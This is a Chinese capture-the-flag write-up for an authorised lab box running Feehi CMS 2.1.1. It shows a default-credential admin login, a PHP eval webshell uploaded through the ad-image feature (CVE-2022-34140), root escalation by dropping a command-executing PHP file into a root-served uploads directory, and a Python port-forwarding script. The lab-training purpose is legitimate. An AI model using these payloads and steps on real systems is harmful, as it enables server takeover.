授权靶场。FeehiCMS 2.1.1 默认口令进后台,广告位改后缀拿 www-data;提权不在 SUID,而在本机另一套以 root 跑的 php -S 127.0.0.1:8080。
- 目标:
192.168.43.119 - 虚拟主机:
cms.dsz(访问 80 前写入 hosts) - 栈:Feehi CMS 2.1.1 + Yii2 + nginx/1.26.3 + PHP 8.4 FPM + sqlite
- 入口:后台默认口令 + 广告上传 RCE(CVE-2022-34140)
- 提权:本机 root 再跑一套
php -S 127.0.0.1:8080,uploads 世界可写
192.168.43.119 cms.dsz
信息收集
端口
└─# nmap -p- -T4 192.168.43.119
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-16 23:11 +0800
Nmap scan report for 192.168.43.119
Host is up (0.0045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
只开 22 / 80。直接打 IP 会按 Host 走默认站点,hosts 写上再访问:
echo '192.168.43.119 cms.dsz' >> /etc/hosts
curl -s http://cms.dsz/

疑似 CMS。页脚写死了框架名:
Feehi CMS 版权所有,保留一切权利 © 2015-2026
简体中文
粤ICP备15018643号 Powered by Feehi CMS 飞嗨

后台入口和版本(登录后系统信息页,或看页脚 / 源码注释):
http://cms.dsz/admin/
- Feehi CMS: 2.1.1
- Web Server: Linux nginx/1.26.3
- 数据库信息: sqlite 3.46.1
- 文件上传限制: 2M
- 脚本超时限制: 30s
- PHP执行方式: fpm-fcgi
公开漏洞:FeehiCMS 2.1.1 广告位上传不校验真实后缀(CVE-2022-34140 / EDB-51018)。Composer 默认超管是 admin / 123456。
┌──(root㉿NeuroLap)-[/mnt/c/Users/asus]
└─# searchsploit feehi
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Feehi CMS 2.1.1 - Remote Code Execution (Authenticated) | php/webapps/51018.txt
Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS) | php/webapps/51002.txt
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
初始访问:广告上传拿 www-data
登录
默认口令:
admin
123456
上传一句话
- 运营管理 → 广告 → 新建 / 编辑
- 图片先选
.png/.jpg - Yakit 拦截,filename 改成
.php,内容改成:
<?php @eval($_POST[1]);?>
- 放行。回包 / 广告列表里能看到落地路径(查看源代码):
/uploads/setting/ad/20260916235346_6aaabb8a2723e.php
curl -X POST 'http://cms.dsz/uploads/setting/ad/20260916235346_6aaabb8a2723e.php' \
--data-urlencode "1=system('id');"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
当前权限和 PHP 限制
id
whoami
pwd
php -r 'echo "uid=".posix_getuid()." euid=".posix_geteuid().PHP_EOL; echo "df=".ini_get("disable_functions").PHP_EOL; echo "ob=".ini_get("open_basedir").PHP_EOL;'
uname -a
cat /etc/os-release
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/opt/cms/frontend/web/uploads/setting/ad
df= # disable_functions 空
ob= # open_basedir 空
Linux Cms 7.1.6-3-liquorix-amd64 ... Debian GNU/Linux 13 (trixie)
也可以 eval($_POST[1]) 直接 phpinfo();,看 System / disable_functions / DOCUMENT_ROOT。
物理路径对应 webroot:
/opt/cms/frontend/web
user flag
先看家目录和 passwd,确认有 simple 用户:
cat /etc/passwd
ls -la /home
ls -la /home/simple
ls -la /root # Permission denied,还没提权
cat /home/simple/user.txt
simple:x:1000:1000::/home/simple:/bin/bash
/home/simple/user.txt
flag{user-84d6e7fb1c982b91fffc3e28090fa732}
提权枚举
常规 Linux 面先扫一遍,排除 sudo / SUID / cap / cron 之后,真正有用的是 进程 + 监听 + /opt。
sudo / SUID / capabilities / cron:没东西
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /etc/crontab
systemctl list-timers --all
sudo: a terminal is required to read the password; a password is required
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/su
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chfn
# getcap 空
# cron 只有发行版默认 php sessionclean / apt / logrotate
SUID 全是发行版默认,无 cap,www-data 无 sudo。
发现 root 在跑本地 Web
看进程和监听:
ps aux
ss -lntp
ps 里多出来这一行(User 列是 root):
root 398 /usr/bin/php -S 127.0.0.1:8080 -t /opt/feehicms/frontend/web /opt/feehicms/frontend/web/router.php
ss 对得上:8080 只绑回环,外网 nmap 看不见:
LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=434,fd=7))
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
顺手看是谁拉起的:
ls /etc/systemd/system/*.service
systemctl list-units --type=service --state=running
cat /etc/systemd/system/feehicms.service
UNIT LOAD ACTIVE SUB DESCRIPTION
feehicms.service loaded active running FeehiCMS Web Service
nginx.service loaded active running ...
php8.4-fpm.service loaded active running ...
[Service]
Type=simple
User=root
WorkingDirectory=/opt/feehicms/frontend/web
ExecStart=/usr/bin/php -S 127.0.0.1:8080 -t /opt/feehicms/frontend/web /opt/feehicms/frontend/web/router.php
Restart=always
结论:对外 80 是 nginx+FPM(www-data),本机 8080 是 PHP 内置服务器且 以 root 跑。
怎么发现有两套 CMS
ls -la /
ls -la /opt
ls -la /opt/cms
ls -la /opt/feehicms
drwxr-xr-x 4 root root /opt
drwxr-xr-x 12 www-data www-data /opt/cms
drwxr-xr-x 12 root root /opt/feehicms
nginx 配置确认 80 打的是哪套:
ls /etc/nginx/sites-enabled
cat /etc/nginx/sites-enabled/cms
server {
listen 80 default_server;
server_name cms.dsz Cms localhost _;
root /opt/cms/frontend/web;
location ~ \.php$ {
fastcgi_pass unix:/run/php/php8.4-fpm.sock;
...
}
}
| 路径 | owner | 对外 |
|---|---|---|
/opt/cms | www-data | nginx :80 + FPM,刚拿的壳 |
/opt/feehicms | root | 仅 127.0.0.1:8080 |
本机打一下 8080,确认活着、而且开了 Yii debug:
curl -sI http://127.0.0.1:8080/
curl -sI http://127.0.0.1:8080/admin/
HTTP/1.1 200 OK
X-Powered-By: PHP/8.4.24
X-Debug-Link: /index.php?r=debug%2Fdefault%2Fview&tag=...
提权 A:直接写文件(最快)
因为是同一套 CMS,直接蚁剑向对应上传位置写木马,反弹执行即可。
写文件只走 loopback,不依赖对外高端口:
printf '%s\n' '<?php echo file_get_contents("/root/root.txt"); system($_GET["c"]); ?>' \
> /opt/feehicms/frontend/web/uploads/pwn.php
ls -la /opt/feehicms/frontend/web/uploads/pwn.php
curl -s 'http://127.0.0.1:8080/uploads/pwn.php?c=id'
-rw-r--r-- 1 www-data www-data ... /opt/feehicms/frontend/web/uploads/pwn.php
flag{root-85597f493b890767b4ed6ce5cbdbac18}
uid=0(root) gid=0(root) groups=0(root)
rm -f /opt/feehicms/frontend/web/uploads/pwn.php
提权 B:转发 8080
人工走后台上传,再拿一条 root 壳。
setsid python3 /tmp/pxy18080.py </dev/null >/tmp/pxy18080.log 2>&1 &
ss -lntp | grep 18080
LISTEN 0 64 0.0.0.0:18080 0.0.0.0:* users:(("python3",pid=...,fd=3))
攻击机验证:
curl -sI http://cms.dsz:18080/admin/
curl -sI http://cms.dsz:18080/admin/index.php?r=site/captcha
上传会生成新文件名。对比两套目录:
ls -la /opt/cms/frontend/web/uploads/setting/ad/
ls -la /opt/feehicms/frontend/web/uploads/setting/ad/
# :80 /opt/cms
20260916235346_6aaabb8a2723e.php
# :8080 /opt/feehicms
20260917160100_6aab9e3c3be4d.php
蚁剑连,密码 1
停代理:
pkill -f pxy18080.py
转发脚本:
# /tmp/pxy18080.py 0.0.0.0:18080 -> 127.0.0.1:8080
import socket, threading
LISTEN, TARGET = ("0.0.0.0", 18080), ("127.0.0.1", 8080)
def fwd(src, dst):
try:
while True:
data = src.recv(65536)
if not data: break
dst.sendall(data)
except Exception:
pass
finally:
try: dst.shutdown(socket.SHUT_WR)
except Exception: pass
def handle(c):
r = socket.create_connection(TARGET, timeout=10)
threading.Thread(target=fwd, args=(c, r), daemon=True).start()
fwd(r, c)
s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(LISTEN); s.listen(64)
while True:
c, _ = s.accept()
threading.Thread(target=handle, args=(c,), daemon=True).start()
链
nmap -p- → 22,80
hosts cms.dsz → Feehi CMS 2.1.1
searchsploit feehi → CVE-2022-34140
http://cms.dsz/admin admin/123456
广告上传改后缀 .php(Yakit)
curl POST eval → id www-data
cat /home/simple/user.txt
webshell:
sudo -l / find SUID / getcap / cron → 常规面没有
ps aux + ss -lntp → root php -S 127.0.0.1:8080
cat feehicms.service + ls /opt → /opt/feehicms vs /opt/cms
ls uploads + cat router.php → 777 + 已存在文件当 PHP 执行
A. 蚁剑写 /opt/feehicms/.../uploads/*.php
curl 127.0.0.1:8080/uploads/...
B. python 转发 18080 → 浏览器验证码 → 再传广告
cms.dsz:18080/uploads/setting/ad/<新文件名>.php
cat /root/root.txt